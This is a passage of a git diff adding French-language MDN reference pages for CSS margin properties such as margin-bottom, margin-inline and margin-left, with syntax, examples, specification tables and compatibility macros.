+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.texteExemple {
+  writing-mode: vertical-rl;
+  margin-block: 20px 40px;
+  background-color: #c8c800;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="texteExemple"&gt;Texte d'exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-margin-block", "margin-block")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.margin-block")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques correspondantes : {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} et {{cssxref("margin-left")}}</li>
+ <li>Les propriétés qui influencent les propriétés logiques {{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/margin-bottom/index.html b/files/fr/web/css/margin-bottom/index.html
new file mode 100644
index 0000000000..6da12febe9
--- /dev/null
+++ b/files/fr/web/css/margin-bottom/index.html
@@ -0,0 +1,141 @@
+---
+title: margin-bottom
+slug: Web/CSS/margin-bottom
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/margin-bottom
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>margin-bottom</code></strong> définit la marge basse appliquée à un élément. On peut définir une marge négative qui rapprochera l'élément de ses voisins ou une marge positive qui l'en écartera..</p>
+
+<div>{{EmbedInteractiveExample("pages/css/margin-bottom.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Cette propriété n'a aucun effet sur les éléments en ligne (<em>inline</em>) qui ne sont pas remplacés comme {{HTMLElement("tt")}} ou {{HTMLElement("span")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de longueur */
+/* Type &lt;length&gt;     */
+margin-bottom: 10px;    /* Une longueur absolue */
+margin-bottom: 1em;     /* Une longueur relative à la taille du texte */
+margin-bottom: 5%;      /* Une longueur relative à la
+                 largeur du bloc englobant */
+
+/* Valeurs avec un mot-clé */
+margin-bottom: auto;
+
+/* Valeurs globales*/
+margin-bottom: inherit;
+margin-bottom: initial;
+margin-bottom: unset;
+</pre>
+
+<p>La valeur de cette propriété peut être le mot-clé <code>auto</code>, une longueur (<code>&lt;length&gt;</code>) ou un pourcentage (<code>&lt;percentage</code><code>&gt;</code>). Cette valeur peut être nulle, positive ou négative.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Cette valeur définit une largeur fixée. Pour les valeurs qui peuvent être utilisées, voir la page sur le type {{cssxref("&lt;length&gt;")}}.</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Une valeur en pourcentage (type {{cssxref("&lt;percentage&gt;")}} qui est relative à la <strong>largeur</strong> du bloc englobant.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Voir {{cssxref("margin")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<p>Grâce à la feuille de style on définit la marge basse et la hauteur des différentes <code>div</code> :</p>
+
+<pre class="brush: css">.box0 {
+  margin-bottom:1em;
+  height:3em;
+}
+.box1 {
+  margin-bottom:-1.5em;
+  height:4em;
+}
+.box2 {
+  border:1px dashed black;
+  border-width:1px 0;
+  margin-bottom:2em;
+}
+
+</pre>
+
+<p>On ajoute quelques règles afin de mieux visualiser les effets obtenus :</p>
+
+<pre class="brush: css">.container {
+  background-color:orange;
+  width:320px;
+  border:1px solid black;
+}
+div {
+  width:320px;
+  background-color:gold;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="container"&gt;
+&lt;div class="box0"&gt;Boîte 0&lt;/div&gt;
+&lt;div class="box1"&gt;Boîte 1&lt;/div&gt;
+&lt;div class="box2"&gt;La marge négative de 1 m'attire vers le haut&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples',350,200)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Box', '#margin-bottom', 'margin-bottom')}}</td>
+   <td>{{Spec2('CSS3 Box')}}</td>
+   <td>Pas de modification significative.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'margin-bottom')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td><code>margin-bottom</code> peut désormais être animée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#margin-properties', 'margin-bottom')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>L'effet sur les éléments en ligne est supprimé.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#margin-bottom', 'margin-bottom')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.margin-bottom")}}</p>
diff --git a/files/fr/web/css/margin-inline-end/index.html b/files/fr/web/css/margin-inline-end/index.html
new file mode 100644
index 0000000000..a2f3b7c213
--- /dev/null
+++ b/files/fr/web/css/margin-inline-end/index.html
@@ -0,0 +1,114 @@
+---
+title: margin-inline-end
+slug: Web/CSS/margin-inline-end
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/margin-inline-end
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>margin-inline-end</code></strong> définit la marge logique appliquée à la fin des éléments en ligne, selon le mode d'écriture, la directionalité et l'orientation du texte. Selon les valeurs utilisées pour {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}}, elle peut correspondre à {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} ou {{cssxref("margin-left")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/margin-inline-end.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Cette propriété est à rapprocher de {{cssxref("margin-block-start")}}, {{cssxref("margin-block-end")}} et de {{cssxref("margin-inline-start")}} qui définissent les autres marges appliquées à l'élément.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+margin-inline-end: 10px;      /* Une longueur absolue */
+margin-inline-end: 1em;       /* Une longueur relative à la taille du texte */
+margin-inline-end: 5%;        /* Une largeur relative à la
+                                   largeur du bloc englobant */
+
+/* Valeurs avec un mot-clé */
+margin-inline-end: auto;
+
+/* Valeurs globales */
+margin-inline-end: inherit;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>La propriété <code>margin-inline-end</code> peut prendre les mêmes valeurs que la propriété {{cssxref("margin-left")}}.</p>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exemple {
+  writing-mode: vertical-lr;
+  margin-inline-end: 20px;
+  background-color: #c8c800;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exemple"&gt;Texte d'exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-margin-inline-end", "margin-inline-end")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.margin-inline-end")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques correspondantes :
+  <ul>
+   <li>{{cssxref("margin-top")}},</li>
+   <li>{{cssxref("margin-right")}},</li>
+   <li>{{cssxref("margin-bottom")}}</li>
+   <li>{{cssxref("margin-left")}}</li>
+  </ul>
+ </li>
+ <li>{{cssxref("margin-inline-start")}}</li>
+ <li>{{cssxref("writing-mode")}}</li>
+ <li>{{cssxref("direction")}}</li>
+ <li>{{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/margin-inline-start/index.html b/files/fr/web/css/margin-inline-start/index.html
new file mode 100644
index 0000000000..66f62e3a22
--- /dev/null
+++ b/files/fr/web/css/margin-inline-start/index.html
@@ -0,0 +1,114 @@
+---
+title: margin-inline-start
+slug: Web/CSS/margin-inline-start
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/margin-inline-start
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>margin-inline-start</code></strong> définit la marge logique appliquée au début des éléments en ligne, selon le mode d'écriture, la directionalité et l'orientation du texte. Selon les valeurs utilisées pour {{cssxref("writing-mode")}}, {{cssxref("direction")}}, and {{cssxref("text-orientation")}}, elle peut correspondre à {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} ou {{cssxref("margin-left")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/margin-inline-start.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Cette propriété est à rapprocher de {{cssxref("margin-block-start")}}, {{cssxref("margin-block-end")}} et de {{cssxref("margin-inline-end")}} qui définissent les autres marges appliquées à l'élément.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+margin-inline-start: 10px;      /* Une longueur absolue */
+margin-inline-start: 1em;       /* Une longueur relative à la taille du texte */
+margin-inline-start: 5%;        /* Une largeur relative à la
+                                   largeur du bloc englobant */
+
+/* Valeurs avec un mot-clé */
+margin-inline-start: auto;
+
+/* Valeurs globales */
+margin-inline-start: inherit;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>La propriété <code>margin-inline-start</code> peut prendre les mêmes valeurs que la propriété {{cssxref("margin-left")}}.</p>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exemple {
+  writing-mode: vertical-lr;
+  margin-inline-start: 20px;
+  background-color: #c8c800;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exemple"&gt;Texte d'exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-margin-inline-start", "margin-inline-start")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.margin-inline-start")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques correspondantes :
+  <ul>
+   <li>{{cssxref("margin-top")}},</li>
+   <li>{{cssxref("margin-right")}},</li>
+   <li>{{cssxref("margin-bottom")}}</li>
+   <li>{{cssxref("margin-left")}}</li>
+  </ul>
+ </li>
+ <li>{{cssxref("margin-inline-end")}}</li>
+ <li>{{cssxref("writing-mode")}}</li>
+ <li>{{cssxref("direction")}}</li>
+ <li>{{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/margin-inline/index.html b/files/fr/web/css/margin-inline/index.html
new file mode 100644
index 0000000000..44ce1a255a
--- /dev/null
+++ b/files/fr/web/css/margin-inline/index.html
@@ -0,0 +1,103 @@
+---
+title: margin-inline
+slug: Web/CSS/margin-inline
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Propriété logique
+  - Reference
+translation_of: Web/CSS/margin-inline
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>margin-inline</code></strong> définit la marge sur les côtés de l'élément qui sont ceux de l'axe en ligne. Cette propriété logique peut correspondre à différentes marges selon le mode d'écriture de l'élément, sa direction ou l'orientation du texte. Autrement dit, cette propriété peut correspondre aux propriétés {{cssxref("margin-top")}} et {{cssxref("margin-bottom")}} ou à   {{cssxref("margin-right")}} et {{cssxref("margin-left")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de longueur */
+/* Type &lt;length&gt; */
+margin-inline: 10px 20px;  /* Une longueur absolue */
+margin-inline: 1em 2em;    /* Une longueur relative à la taille du texte */
+margin-inline: 5% 2%;      /* Une longueur relative à la largeur ou hauteur du bloc englobant */
+margin-inline: 10px;       /* Une valeur utilisée pour les deux côtés */
+
+/* Valeurs avec un mot-clé */
+margin-inline: auto;
+
+/* Valeurs globales */
+margin-inline: inherit;
+margin-inline: initial;
+margin-inline: unset;
+</pre>
+
+<p>Cette propriété est une propriété raccourcie pour les deux propriétés logiques {{cssxref("margin-inline-start")}} et {{cssxref("margin-inline-end")}}. Pour régler les marges selon l'axe en ligne, on pourra utiliser la propriété logique raccourcie {{cssxref("margin-block")}} qui correspond aux propriétés {{cssxref("margin-block-start")}} et {{cssxref("margin-block-end")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>La propriété <code>margin-inline</code> peut prendre les mêmes valeurs que la propriété {{cssxref("margin-left")}}.</p>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.texteExemple {
+  writing-mode: vertical-rl;
+  margin-inline: 20px 40px;
+  background-color: #c8c800;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="texteExemple"&gt;Texte d'exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-margin-inline", "margin-inline")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.margin-inline")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques correspondantes : {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}} et {{cssxref("margin-left")}}</li>
+ <li>Les propriétés qui influencent les propriétés logiques {{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/fr/web/css/margin-left/index.html b/files/fr/web/css/margin-left/index.html
new file mode 100644
index 0000000000..46fda52a12
--- /dev/null
+++ b/files/fr/web/css/margin-left/index.html
@@ -0,0 +1,188 @@
+---
+title: margin-left
+slug: Web/CSS/margin-left
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/margin-left
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>margin-left</code></strong> d'un élément définit l'espace horizontal à gauche qui formera la marge à gauche de l'élément. On peut avoir une marge gauche négative qui rapproche l'élément de ses voisins ou une marge positive qui l'en écarte.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/margin-left.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Les marges des côtés droit et gauche de deux boîtes adjacentes peuvent fusionner entre elles. C'est ce qu'on appelle <a href="/fr/docs/Web/CSS/Fusion_des_marges"><em>la fusion de marges</em></a>.</p>
+
+<p>Dans certains cas où les dimensions sont sur-contraintes (autrement dit quand <code>width</code>, <code>margin-left</code>, <code>border</code>, <code>padding</code>, la taille de la zone de contenu et <code>margin-right</code> sont toutes définies), <code>margin-left</code> est ignorée. La valeur calculée sera la même que si <code>auto</code> avait été utilisée.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+margin-left: 10px;  /* Une longueur absolue */
+margin-left: 1em;   /* Une longueur absolue relative à la taille du texte */
+margin-left: 5%;    /* Une marge dont la taille est relative à la largeur
+                       du bloc englobant */
+
+/* Valeur avec un mot-clé */
+margin-left: auto;
+
+/* Valeurs globales */
+margin-left: inherit;
+margin-left: initial;
+margin-left: unset;
+</pre>
+
+<p>La valeur de cette propriété peut être le mot-clé <code>auto</code>, une longueur (<code>&lt;length&gt;</code>) ou un pourcentage (<code>&lt;percentage&gt;</code>).</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Une valeur fixe, du type {{cssxref("&lt;length&gt;")}} : elle peut être exprimée en pixels (<code>px</code>) ou en fonction de la taille du texte (<code>em</code>) ou être relative à la taille de la zone d'affichage (<em>viewport</em>) (<code>vh</code>).</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Une valeur exprimée en pourcentage (type {{cssxref("&lt;percentage&gt;")}} relative à la largeur du bloc englobant.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Un mot-clé qui indique que la marge droite s'adapte à l'espace restant. Cet espace est principalement défini par le mode de disposition utilisé.L'espace calculé sera réparti de façon équitable entre la marge droite et la marge gauche si celle-ci vaut également <code>auto</code>. Le tableau suivant précise les différents cas :
+ <table class="standard-table">
+  <thead>
+   <tr>
+    <th scope="col">Valeur de {{cssxref("display")}}</th>
+    <th scope="col">Valeur de {{cssxref("float")}}</th>
+    <th scope="col">Valeur de {{cssxref("position")}}</th>
+    <th scope="col">Valeur calculée pour <code>auto</code></th>
+    <th scope="col">Commentaires</th>
+   </tr>
+  </thead>
+  <tbody>
+   <tr>
+    <th><code>inline</code>, <code>inline-block</code>, <code>inline-table</code></th>
+    <th><em>n'importe laquelle</em></th>
+    <th><code>static</code> ou <code>relative</code></th>
+    <td><code>0</code></td>
+    <td>Disposition en ligne</td>
+   </tr>
+   <tr>
+    <th><code>block</code>, <code>inline</code>, <code>inline-block</code>, <code>block</code>, <code>table</code>, <code>inline-table</code>, <code>list-item</code>, <code>table-caption</code></th>
+    <th><em>n'importe laquelle</em></th>
+    <th><code>static</code> ou <code>relative</code></th>
+    <td><code>0</code> sauf si <code>margin-left</code> et <code>margin-right</code> valent <code>auto</code>. Dans ce cas, la valeur utilisée sera celle qui permet de centrer l'élément au sein de l'élément parent.</td>
+    <td>Disposition en bloc</td>
+   </tr>
+   <tr>
+    <th><code>block</code>, <code>inline</code>, <code>inline-block</code>, <code>block</code>, <code>table</code>, <code>inline-table</code>, <code>list-item</code>, <code>table-caption</code></th>
+    <th><code>left</code> ou <code>right</code></th>
+    <th><code>static</code> ou <code>relative</code></th>
+    <td><code>0</code></td>
+    <td>Disposition en bloc avec les éléments flottants</td>
+   </tr>
+   <tr>
+    <th><em>n'importe quelle </em><code>table-*</code><em>, sauf </em><code>table-caption</code></th>
+    <th><em>n'importe laquelle</em></th>
+    <th><em>n'importe laquelle</em></th>
+    <td><code>0</code></td>
+    <td>Les éléments <code>table-*</code> n'ont pas de marge, il faut utiliser {{cssxref("border-spacing")}} à la place.</td>
+   </tr>
+   <tr>
+    <th><em>n'importe laquelle, sauf <code>flex</code>,</em> <code>inline-flex</code><em>, ou </em><code>table-*</code></th>
+    <th><em>n'importe laquelle</em></th>
+    <th><em><code>fixed</code></em> ou <code>absolute</code></th>
+    <td><code>0</code> sauf si <code>margin-left</code> et <code>margin-right</code> valent <code>auto</code>. Dans ce cas, la valeur utilisée sera celle qui permet de centrer la boîte de bordure dans la zone de largeur disponible si elle fixée.</td>
+    <td>Positionnement absolu.</td>
+   </tr>
+   <tr>
+    <th><code>flex</code>, <code>inline-flex</code></th>
+    <th><em>n'importe laquelle</em></th>
+    <th><em>n'importe laquelle</em></th>
+    <td><code>0</code>, sauf s'il reste de l'espace horizontal libre. Dans ce cas, l'espace restant sera distribué de façon équitable entre toutes les marges avec <code>auto</code>.</td>
+    <td>Boîtes flexibles.</td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.exemple {
+  margin-left: 50%;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Un grand rosier se trouvait à l’entrée du jardin ;
+   les roses qu’il portait étaient blanches, mais
+   trois jardiniers étaient en train de les peindre
+   en rouge.
+&lt;/p&gt;
+&lt;p class=exemple&gt;
+  Alice s’avança pour les regarder, et, au moment où
+  elle approchait, elle en entendit un qui disait :
+  « Fais donc attention, Cinq, et ne m’éclabousse pas
+  ainsi avec ta peinture. »
+&lt;/p&gt;
+&lt;p&gt;
+  « Ce n’est pas de ma faute, » dit Cinq d’un ton
+  bourru, « c’est Sept qui m’a poussé le coude. »
+&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Box', '#the-margin', 'margin-left')}}</td>
+   <td>{{Spec2('CSS3 Box')}}</td>
+   <td>Pas de modification significative depuis CSS 2.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'margin-left')}}</td>
+   <td>{{Spec2('CSS3 Transitions')}}</td>
+   <td><code>margin-left</code> peut désormais être animée.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Flexbox', '#item-margins', 'margin-left')}}</td>
+   <td>{{Spec2('CSS3 Flexbox')}}</td>
+   <td>Le comportement de <code>margin-left</code> sur les éléments flexibles est défini.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'box.html#margin-properties', 'margin-left')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>L'effet sur les éléments en ligne (<em>inline</em>) est retiré.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#margin-left', 'margin-left')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.margin-left")}}</p>
diff --git a/files/fr/web/css/margin-right/index.html b/files/fr/web/css/margin-right/index.html
new file mode 100644
index 0000000000..a34a800ead
--- /dev/null
+++ b/files/fr/web/css/margin-right/index.html
@@ -0,0 +1,186 @@
+---
+title: margin-right
+slug: Web/CSS/margin-right
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/margin-right
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>margin-right</code></strong> d'un élément définit l'espace horizontal à droite qui formera la marge à droite. On peut avoir une marge droite négative.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/margin-right.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Les marges des côtés droit et gauche de deux boîtes adjacentes peuvent fusionner entre elles. C'est ce qu'on appelle <a href="/fr/docs/Web/CSS/Fusion_des_marges"><em>la fusion de marges</em></a>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css  no-line-numbers">/* Valeur de longueur */
+/* Type &lt;length&gt;      */
+margin-right: 20px;        /* Une longueur absolue */
+margin-right: 1em;         /* Une longueur relative à la taille du texte */
